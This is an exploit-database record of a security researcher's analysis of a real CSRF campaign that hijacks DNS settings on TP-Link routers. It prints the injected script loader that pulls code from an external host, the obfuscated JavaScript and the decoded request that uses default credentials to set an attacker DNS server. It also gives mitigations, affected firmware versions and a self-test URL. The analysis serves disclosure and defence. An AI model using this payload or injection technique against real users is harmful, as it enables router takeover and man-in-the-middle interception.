All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017

{"result": {"zdt": [{"lastseen": "2018-04-01T19:35:58", "references": [], "description": "This write up goes into detail about how real world cross site request forgery attacks can be used to hijack DNS on TP-Link routers.", "edition": 2, "reporter": "Jakob Lell", "published": "2013-10-31T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "zdt", "title": "TP-Link Cross Site Request Forgery Vulnerability", "bulletinFamily": "exploit", "cvelist": [], "modified": "2013-10-31T00:00:00", "id": "1337DAY-ID-21430", "href": "https://0day.today/exploit/description/21430", "sourceData": "I. Introduction\r\n\r\nToday the majority of wired Internet connections is used with an \r\nembedded NAT router, which allows using the same Internet connection \r\nwith several devices in parallel and also provides some protection \r\nagainst incoming attacks from the Internet. Most of these routers can be \r\nconfigured via a web interface. Unfortunately many of these web \r\ninterfaces suffer from common web application vulnerabilities such as \r\nCSRF, XSS, insecure authentication and session management or command \r\ninjection. In the past years countless vulnerabilities have been \r\ndiscovered and publicly reported. Many of them have remained unpatched \r\nby vendors and even if a patch is available, it is typically only \r\ninstalled to a small fraction of the affected devices. Despite these \r\nwidespread vulnerabilities there have been very few public reports of \r\nreal-world attacks against routers so far. This article exposes an \r\nactive exploitation campaign against a known CSRF vulnerability \r\n(CVE-2013-2645) in various TP-Link routers. When a user visits a \r\ncompromised website, the exploit tries to change the upstream DNS server \r\nof the router to an attacker-controlled IP address, which can then be \r\nused to carry out man-in-the-middle attacks.\r\n\r\nII. Analysis of the exploit\r\n\r\nThis section describes one occurrence of the exploit. I have seen five \r\ndifferent instances of the exploit on unrelated websites so far and the \r\ndetails of the obfuscation differ between them. However, the actual \r\nrequests generated by the exploits are the same except for the DNS \r\nserver IP addresses.\r\n\r\nAs you would expect for malicious content added to a website the exploit \r\nis hidden in obfuscated javascript code. The first step is a line of \r\njavascript appended to a legitimate javascript file used by the website:\r\n\r\n\r\ndocument.write(\"<script type=\\\"text/javascript\\\" \r\nsrc=\\\"http://www.[REDACTED].com/js/ma.js\\\">\");\r\n\r\n\r\nIt is possible that the cybercrooks append this line to various \r\njavascript files on compromised web servers in an automated way.\r\n\r\nThis code just dynamically adds a new script tag to the website in order \r\nto load further javascript code from an external server. The referenced \r\nfile \"ma.js\" contains the following encoded javascript code:\r\n\r\n\r\neval(function(p,a,c,k,e,d){e=function(c){return(c<a?\"\":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return \r\nd[e]}];e=function(){return'\\\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return \r\np;}('T \r\nw$=[\"\\\\E\\\\6\\\\5\\\\m\\\\o\\\\3\\\\q\\\\5\\\\m\\\\8\\\\3\\\\7\\\\\"\\\\5\\\\3\\\\G\\\\5\\\\j\\\\r\\\\6\\\\6\\\\\"\\\\y\\\\B\\\\d\\\\e\\\\8\\\\v\\\\4\\\\5\\\\q\\\\u\\\\4\\\\o\\\\H\\\\n\\\\5\\\\5\\\\8\\\\A\\\\j\\\\j\\\\a\\\\i\\\\e\\\\d\\\\f\\\\A\\\\a\\\\i\\\\e\\\\d\\\\f\\\\B\\\\2\\\\k\\\\h\\\\1\\\\2\\\\g\\\\9\\\\1\\\\2\\\\1\\\\2\\\\j\\\\u\\\\6\\\\3\\\\4\\\\z\\\\8\\\\e\\\\j\\\\s\\\\a\\\\f\\\\F\\\\n\\\\r\\\\8\\\\C\\\\3\\\\4\\\\l\\\\3\\\\4\\\\z\\\\8\\\\e\\\\1\\\\n\\\\5\\\\e\\\\I\\\\i\\\\n\\\\r\\\\8\\\\6\\\\3\\\\4\\\\l\\\\3\\\\4\\\\7\\\\2\\\\c\\\\d\\\\8\\\\2\\\\7\\\\2\\\\k\\\\h\\\\1\\\\2\\\\g\\\\9\\\\1\\\\2\\\\1\\\\2\\\\b\\\\b\\\\c\\\\d\\\\8\\\\h\\\\7\\\\2\\\\k\\\\h\\\\1\\\\2\\\\g\\\\9\\\\1\\\\2\\\\1\\\\2\\\\k\\\\k\\\\c\\\\s\\\\3\\\\a\\\\6\\\\3\\\\7\\\\2\\\\h\\\\b\\\\c\\\\Q\\\\a\\\\5\\\\3\\\\x\\\\a\\\\m\\\\7\\\\b\\\\1\\\\b\\\\1\\\\b\\\\1\\\\b\\\\c\\\\i\\\\v\\\\e\\\\a\\\\d\\\\f\\\\7\\\\c\\\\i\\\\f\\\\6\\\\6\\\\3\\\\4\\\\l\\\\3\\\\4\\\\7\\\\2\\\\b\\\\g\\\\1\\\\2\\\\9\\\\P\\\\1\\\\D\\\\g\\\\1\\\\9\\\\R\\\\c\\\\i\\\\f\\\\6\\\\6\\\\3\\\\4\\\\l\\\\3\\\\4\\\\h\\\\7\\\\9\\\\1\\\\9\\\\1\\\\9\\\\1\\\\9\\\\c\\\\C\\\\a\\\\l\\\\3\\\\7\\\\p\\\\t\\\\2\\\\p\\\\S\\\\D\\\\O\\\\p\\\\t\\\\K\\\\p\\\\J\\\\g\\\\L\\\\N\\\\E\\\\j\\\\6\\\\5\\\\m\\\\o\\\\3\\\\y\\\\q\"];M[\"\\\\x\\\\4\\\\d\\\\5\\\\3\\\\o\\\\f\"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x\r\n 3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))\r\n\r\n\r\nAt first this code looks quite complicated and you probably don't want \r\nto manually analyze and decode it. However, it is clearly visible that \r\nthe file just contains one big eval call. The parameter to eval (the \r\ncode which is executed) is dynamically computed by an anonymous function \r\nbased on the parameters p,a,c,k,e,d. A little bit of googling for \r\n\"eval(function(p,a,c,k,e,d)\" shows that this is the result of a publicly \r\navailable javascript obfuscator. There are several online javascript \r\ndeobfuscators you can use to reverse engineer the packed javascript. \r\nAlternatively, you can also just replace \"eval\" with \"console.log\" and \r\nthen paste the code to the javascript console of Chrome Developer Tools. \r\nThis just prints out the decoded javascript, which would otherwise be \r\npassed to eval. The result of the decoding is the following code:\r\n\r\n<pre lang=\"javascript\">\r\nvar _$ = \r\n[\"\\x3c\\x73\\x74\\x79\\x6c\\x65\\x20\\x74\\x79\\x70\\x65\\x3d\\\"\\x74\\x65\\x78\\x74\\x2f\\x63\\x73\\x73\\\"\\x3e\\x40\\x69\\x6d\\x70\\x6f\\x72\\x74\\x20\\x75\\x72\\x6c\\x28\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x64\\x6d\\x69\\x6e\\x3a\\x61\\x64\\x6d\\x69\\x6e\\x40\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x2e\\x31\\x2f\\x75\\x73\\x65\\x72\\x52\\x70\\x6d\\x2f\\x4c\\x61\\x6e\\x44\\x68\\x63\\x70\\x53\\x65\\x72\\x76\\x65\\x72\\x52\\x70\\x6d\\x2e\\x68\\x74\\x6d\\x3f\\x64\\x68\\x63\\x70\\x73\\x65\\x72\\x76\\x65\\x72\\x3d\\x31\\x26\\x69\\x70\\x31\\x3d\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x2e\\x31\\x30\\x30\\x26\\x69\\x70\\x32\\x3d\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x2e\\x31\\x39\\x39\\x26\\x4c\\x65\\x61\\x73\\x65\\x3d\\x31\\x32\\x30\\x26\\x67\\x61\\x74\\x65\\x77\\x61\\x79\\x3d\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x26\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x3d\\x26\\x64\\x6e\\x73\\x73\\x65\\x72\\x76\\x65\\x72\\x3d\\x31\\x30\\x36\\x2e\\x31\\x38\\x37\\x2e\\x33\\x36\\x2e\\x38\\x35\\x26\\x64\\x6e\\x73\\x73\\x65\\x72\\x76\\x65\\x72\\x32\\x3d\\x38\\x2e\\x38\\x2e\\x38\\x2e\\x38\\x26\\x53\\x61\\x76\\x65\\x3d\\x25\\x42\\x31\\x25\\x41\\x33\\x2b\\x25\\x42\\x34\\x25\\x45\\x36\\x29\\x3b\\x3c\\x2f\\x73\\x74\\x79\\x6c\\x65\\x3e\\x20\r\n \"];\r\ndocument[\"\\x77\\x72\\x69\\x74\\x65\\x6c\\x6e\"](_$[0]);\r\n</pre>\r\n\r\nAlthough this code is still obfuscated, it can easily be understood by \r\ndecoding the hex-encoded strings. The string \r\n\"\\x77\\x72\\x69\\x74\\x65\\x6c\\x6e\" is the hex-encoded version of \"writeln\" \r\nand given the way object oriented programming in javascript works the \r\nline 'document[\"\\x77\\x72\\x69\\x74\\x65\\x6c\\x6e\"](_$[0]);' is just a fancy \r\nway of writing 'document.writeln(_$[0]);'. The array element _$[0] \r\ncontains the stuff which is written to the document and after decoding \r\nthe escaped hex characters you get the following equivalent code:\r\n\r\n\r\ndocument.writeln('<style type=\"text/css\">@import \r\nurl(http://admin:[email\u00a0protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')\r\n\r\n\r\nSo the obfuscated javascript adds a style tag to the current html \r\ndocument. The css in this style tag uses @import to instruct the browser \r\nto load additional css data from 192.168.1.1, which is the default \r\ninternal IP address of most NAT routers. So it is obviously a CSRF \r\nattack which tries to reconfigure the router. The following section \r\nshows an analysis of what the request does with some TP-Link routers.\r\n\r\nIII. Analysis of the CSRF payload\r\n\r\nIt is obvious that the payload tries to reconfigure the options for the \r\nDHCP server included in the router at 192.168.1.1. While the parameters \r\nalso include the start/end of the DHCP ip address range, the main \r\npurpose of the exploit is to change the primary DNS server to \r\n106.187.36.85. The secondary nameserver points to a publicly available \r\nrecursive DNS server (in this case the public DNS server provided by \r\nGoogle) in order to make sure that the user doesn't notice any \r\nconnectivity problems in case the attacker-controlled nameserver is \r\n(temporarily) unavailable for any reason. Searching for the string \r\n\"userRpm/LanDhcpServerRpm\" quickly revealed that the exploit is \r\ntargeting TP-Link routers. The fact that some TP-Link routers are \r\nvulnerable to CSRF attacks has already been publicly reported <a \r\nhref=\"http://securityevaluators.com/content/case-studies/routers/tp-link_wr1043n.jsp\">[1]</a> \r\nby Jacob Holcomb in April 2013 and TP-Link has fixed this problem for \r\nsome devices since then. Experiments have shown that several TP-Link \r\nrouters are actually vulnerable to this CSRF attack (see below for an \r\nincomplete list of affected devices).\r\n\r\nIt is also worth noting that a web server should use POST instead of GET \r\nfor all actions doing persistent changes to the router. This can protect \r\nagainst attacks in some scenarios where the attacker can only trigger \r\nloading a given URL e.g. by posting an image to a public discussion \r\nboard or sending an HTML email (which could also be used to trigger \r\nattacks like this if the victim has enabled loading of remote images). \r\nHowever, even a POST request to the router can be issued in an automated \r\nway if the attacker can execute javascript code in the client browser. \r\nSo in order to further protect against CSRF the server should either add \r\na securely generated CSRF token or use strict referer checking (which is \r\neasier to implement on embedded devices).\r\n\r\nThe affected TP-Link routers use HTTP Basic Authentication to control \r\naccess to the web interface. When entering the credentials to access the \r\nweb interface, the browser typically asks the user whether he wants to \r\npermanently store the password in the browser. However, even if the user \r\ndoesn't want to permanently store the password in the browser, it will \r\nstill temporarily remember the password and use it for the current \r\nsession. Since the session is only controlled by the browser behavior, \r\nthe router can't actively terminate the session e.g. after a certain \r\ntimeout or when clicking a logout button. Due to this limitation of HTTP \r\nBasic Authentication the configuration web interface has no logout \r\nbutton at all and the only way to terminate the session is closing and \r\nreopening the browser.\r\n\r\nThe CSRF exploit also includes the default credentials (username=admin, \r\npassword=admin) in the URL. However, even if a username/password \r\ncombination is given in the URL, the browser will ignore the credentials \r\nfrom the URL and still try the saved credentials or no authentication \r\nfirst. Only if this results in an HTTP 401 (Unauthorized) status code, \r\nthe browser resends the request with the credentials from the URL. Due \r\nto this browser behavior the exploit works if the user is either logged \r\nin to the router or if the standard password hasn't been changed.\r\n\r\nIV. Consequences of a malicious DNS server\r\n\r\nWhen an attacker has changed the upstream DNS server of a router, he can \r\nthen carry out arbitrary man-in-the-middle attacks against users of the \r\ncompromised router. Here is a list of several possible actions which can \r\nbe carried out by redirecting certain dns hostnames to an attacker server:\r\n* Redirect users to phishing sites when opening a legitimate website\r\n* Redirect users to browser exploits\r\n* Block software upgrades\r\n* Attacking software updaters which don't use cryptographic signatures\r\n* Replace advertisements on websites by redirecting adservers (that's \r\nwhat the dnschanger malware did <a \r\nhref=\"https://en.wikipedia.org/wiki/DNSChanger\">[2]</a>)\r\n* Replace executable files downloaded from the official download site of \r\nlegitimate software vendors\r\n* Hijack email accounts by stealing the password if the mail client \r\ndoesn't enforce usage of TLS/SSL with a valid certificate\r\n* Intercept communication between Android/IOS Apps and their back end \r\ninfrastructure\r\n\r\nAs of now I do not know what kind of attacks the cybercrooks do with the \r\nmalicious DNS servers. I have done some automated checks and resolved a \r\nlarge number of popular domain names with one of the DNS servers used \r\nfor the attack and compared the results against a self-hosted recursive \r\nresolver. Due to the prevalence of round-robin load-balancing on DNS \r\nlevel and location-dependent redirection used e.g. by CDNs (content \r\ndelivery networks) this automated comparison did result in a huge number \r\nof false positives and due to time constraints I could only manually \r\nverify those IP addresses which appear for a significant number of \r\ndifferent hostnames. None of them turned out to be a malicious \r\nmanipulation. However, it is very well possible that the infected \r\nrouters are used for targeted attacks against a limited number of \r\nwebsites. If you find out what kind of attacks are carried out using the \r\nmalicious DNS servers, please drop me an email or leave a comment in my \r\nblog.\r\n\r\nV. Prevalence of the exploit\r\n\r\nI discovered this exploitation campaign with an automated client \r\nhoneypot system. Until now I spotted the exploit five times on totally \r\nunrelated websites. During that time the honeypot was generating some \r\n280 GB of web traffic. The were some differences in the obfuscation used \r\nfor the exploit but the actual CSRF requests generated are basically the \r\nsame. The five instances of the exploit tried to change the primary \r\nnameserver to three different IP addresses and it is likely that there \r\nare more of them which I haven't spotted so far.\r\n\r\nVI. Recommendations to mitigate the problem\r\n\r\nIf you are using an affected TP-Link router, you should perform the \r\nfollowing steps to prevent it from being affected by this exploit:\r\n* Check whether the DNS servers have already been changed in your router\r\n* Upgrade your router to the latest firmware. The vulnerability has \r\nalready been patched at least for some devices\r\n* If you don't get an upgrade for your model from TP-Link, you may also \r\ncheck whether it is supported by OpenWRT\r\n* Change the default password to something more secure (if you haven't \r\nalready done so)\r\n* Don't save your router password in the browser\r\n* Close all other browser windows/tabs before logging in to the router\r\n* Restart your browser when you're finished using the router web \r\ninterface (since the browser stores the password for the current browser \r\nsession)\r\n\r\nVII. Affected Devices\r\n\r\nI have already checked some TP-Link routers I had access to whether they \r\nare vulnerable to the attack. Some devices do contain the vulnerability \r\nbut are by default not affected by the exploits I've seen so far because \r\nthey are not using the IP address 192.168.1.1 in the default configuration.\r\n\r\n\r\n* TP-Link WR1043ND V1 up to firmware version 3.3.12 build 120405 is \r\nvulnerable (version 3.3.13 build 130325 and later is not vulnerable)\r\n* TP-Link TL-MR3020: firmware version 3.14.2 Build 120817 Rel.55520n and \r\nversion 3.15.2 Build 130326 Rel.58517n are vulnerable (but not affected \r\nby current exploit in default configuration)\r\n* TL-WDR3600: firmware version 3.13.26 Build 130129 Rel.59449n and \r\nversion 3.13.31 Build 130320 Rel.55761n are vulnerable (but not affected \r\nby current exploit in default configuration)\r\n* WR710N v1: 3.14.9 Build 130419 Rel.58371n is not vulnerable\r\n\r\nIt is likely that some other devices are vulnerable as well.\r\n\r\nIf you want to know whether your router is affected by this \r\nvulnerability, you can find it out by performing the following steps:\r\n1. Open a browser and log in to your router\r\n2. Navigate to the DHCP settings and note the DNS servers (it may be \r\n0.0.0.0, which means that it uses the DNS server from your router's \r\nupstream internet connection)\r\n3. Open a new browser tab and visit the following URL (you may have to \r\nadjust the IP addresses if your router isn't using 192.168.1.1):\r\n\r\nhttp://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.4.4&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6\r\n\r\nIf your router is vulnerable, this changes the DNS servers to 8.8.4.4 \r\nand 8.8.8.8 (the two IP addresses from Google Public DNS). Please note \r\nthat the request also reverts the DHCP IP range and lease time to the \r\ndefault value.\r\n4. Go back to the first tab and reload the DHCP settings in the router \r\nweb interface\r\n5. If you see the servers 8.8.4.4 and 8.8.8.8 for primary and secondary \r\nDNS, your router is vulnerable.\r\n6. Revert the DNS settings to the previous settings from step 2\r\n7. If your router is vulnerable, you may also upgrade it to the latest \r\nfirmware and check whether it is still vulnerable.\r\n\r\nFeel free to drop me an email or post a comment with your model number \r\nand firmware version so that I can add the device to the list above.\r\n\r\nVIII. References\r\n\r\n[1]: \r\nhttp://securityevaluators.com/content/case-studies/routers/tp-link_wr1043n.jsp\r\n[2]: https://en.wikipedia.org/wiki/DNSChanger\n\n# 0day.today [2018-04-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/21430"}]}}